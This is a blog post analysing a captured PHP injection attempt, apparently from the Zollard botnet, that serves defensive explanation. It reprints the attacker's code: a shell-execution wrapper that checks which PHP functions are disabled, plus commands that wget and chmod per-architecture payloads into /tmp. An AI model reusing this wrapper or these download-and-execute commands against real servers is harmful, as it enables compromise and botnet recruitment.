Thursday, March 19, 2015

PHP Injection Attempt Walkthrough

I posted some details about a PHP Injection attempt here. I'd like to explain in more detail the code below seen in the attack. The goal is of the attacker is that if you're running an old unpatched version of php, if they pass in the url parameters listed in my pastebin link, then the body of the POST (the code below) will get executed on the server. Let's see what the code would try to do.

echo "Zollard";

The attacker is simply printing out their calling handle to the screen in the code above, probably as confirmation that the server is vulnerable.

$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc))
    $disablefunc = str_replace(" ","",$disablefunc);
    $disablefunc = explode(",",$disablefunc);

This code above gets a list of functions that are disabled (for security reasons) on the web server. This is useful for the attacker so they know which commands they can and cannot run on this server. If they run the wrong one, they might get logged or flagged as suspicious, and they wouldn't want that!

function myshellexec($cmd)
    global $disablefunc;
    $result = "";
    if (!empty($cmd))
        if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
        elseif (($result = `$cmd`) !== FALSE) {}
        elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
        elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
        elseif (is_resource($fp = popen($cmd,"r")))
            $result = "";
            while(!feof($fp)) {$result .= fread($fp,1024);}
return $result;

This code above is a function declaration, so no code is actually getting executed yet. It's creating a function called 'myshellexec' that can be run later. This function takes 1 parameter, the shell command that you want to execute. At a high level, all this function attempts to do is execute the command against the shell prompt and return the results to the caller. Digging deeper, it's actually a bit more complex, because unlike when you're writing a normal legit program, in this case you don't know exactly how the system will allow you to run your shell command. Some methods may be disabled/allowed and some might not, so there is a series of checks (if/elseif) statements to determine what is the best way to execute the command passed in. Everybody is probably most familiar with the exec command, so that is the first check to see if you could write something like "exec('echo hello world')". If you weren't aware there are 2 other functions that essentially do the same thing, "system()" and "passthru()" ... so if one is not available, try the next, and try the next until you get one that works. You'll notice the checks are 2-fold 1.) First is the function is_callable, this is a standard php method that allows you to verify a function name before calling it 2.) Second is a function !in_array which you'll notice uses our $disablefunc variable from above, so basically it's checking to see if the function is not disabled by the web server. If both checks pass, it tries it. If one of those 2 checks fail, it does not try that command and moves on to check the next command. So there is ever only 1 attempt to execute the command, there are NOT many attempts to execute it. If 'exec', 'system', and 'passthru' all fail then it's final attempt at exploiting is to take the current process we're in (probably the Apache web server worker process) and attempt to fork a new child process that runs the command passed in. That is done by 'popen' and then 'fread' to get the results of the child process. If that fails, then the exploit fails.

myshellexec("rm -rf /tmp/armeabi;wget -P /tmp;chmod +x /tmp/armeabi");
myshellexec("rm -rf /tmp/arm;wget -P /tmp;chmod +x /tmp/arm");
myshellexec("rm -rf /tmp/ppc;wget -P /tmp;chmod +x /tmp/ppc");
myshellexec("rm -rf /tmp/mips;wget -P /tmp;chmod +x /tmp/mips");
myshellexec("rm -rf /tmp/mipsel;wget -P /tmp;chmod +x /tmp/mipsel");
myshellexec("rm -rf /tmp/x86;wget -P /tmp;chmod +x /tmp/x86");
myshellexec("rm -rf /tmp/nodes;wget -P /tmp;chmod +x /tmp/nodes");
myshellexec("rm -rf /tmp/sig;wget -P /tmp;chmod +x /tmp/sig");

Finally in this code above the attacker makes calls to the 'myshellexec' function that we declared earlier. This is where the actual exploit is attempted. Notice each call passes a command the first removes any temp files (rm -f), then downloads a malicious file specific to a system architecture (wget), changes the permissions to executable (+x), and then runs the payload. The attacker here runs several commands, one for each of the command server architectures, thus their payload must be system dependent and for example the x86 payload must not work on a mips server, and visa versa.

So in Summary for this exploit to work we must be talking about a Web Server, that is running Linux , and has an old unpatched version of PHP that is vulnerable to the initial injection attempt URL posts parameters. Then if that's the case, next either the 'exec', 'system', or 'passthru' function must be allowed/enabled and or the ability for the Apache process to fork a child. Then if that's the case, if the server is running one of the architectures listed (armebi, arm, ppc, mips, etc.) then the exploit will likely succeed, the payload delivered, and your server is now probably part of a larger botnet until you re-build it.

Stay patched and configured your servers properly!

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

No comments:

Post a Comment